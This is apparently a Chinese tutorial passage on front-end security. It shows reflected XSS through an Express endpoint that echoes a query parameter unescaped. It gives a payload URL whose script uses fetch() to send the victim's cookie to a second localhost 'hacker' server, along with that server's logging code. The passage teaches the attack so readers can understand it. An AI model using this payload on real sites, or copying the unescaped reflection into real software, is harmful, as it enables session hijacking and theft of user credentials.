前端安全之XSS及CSRF

1 XSS

• XSS全称叫跨站脚本攻击（Cross Site Scripting），目的是把script脚本注入到网页中在浏览器执行该脚本

1.1 反射型

• 用express写个简单的api

const express = require("express");
const app = express();
app.get("/article", function (req, res) {const { type } = req.query;res.send(`您查询的文章类型是:${type}`);//根据url中的type参数返回
});
app.listen(4000, () => {console.log("listening http://localhost:4000");
}); 

• 正常情况是这样的，在URL中传递查询参数type，后台处理后返回结果

• 但是如果在URL传入script脚本

• 这时候后台把结果返回到浏览器时会执行这个脚本,这就成功注入了script脚本，完成了一次反射型XSS攻击

• 能成功执行注入的script脚本那就可以干很多事了，比如下面这个链接，他会获取当前点击用户的cookie然后发送到黑客的服务器上

http://localhost:4000/article?type=%3Cscript%3Efetch(`http://localhost:4001/cookie?cookie=${document.cookie}`)%3C/script%3E 

const express = require("express");
const app = express();
const app2 = express();
app.get("/article", function (req, res) {const { type } = req.query;res.send(`您查询的文章类型是:${type}`);
});
app.listen(4000, () => {console.log("listening http://localhost:4000");
});
app2.get("/cookie", function (req, res) {const { cookie } = req.query;console.log(`盗取的cookie:${cookie}`);res.send();
});
app2.listen(4001, () => {console.log("黑客网站盗取cookie listening http://localhost:4001&#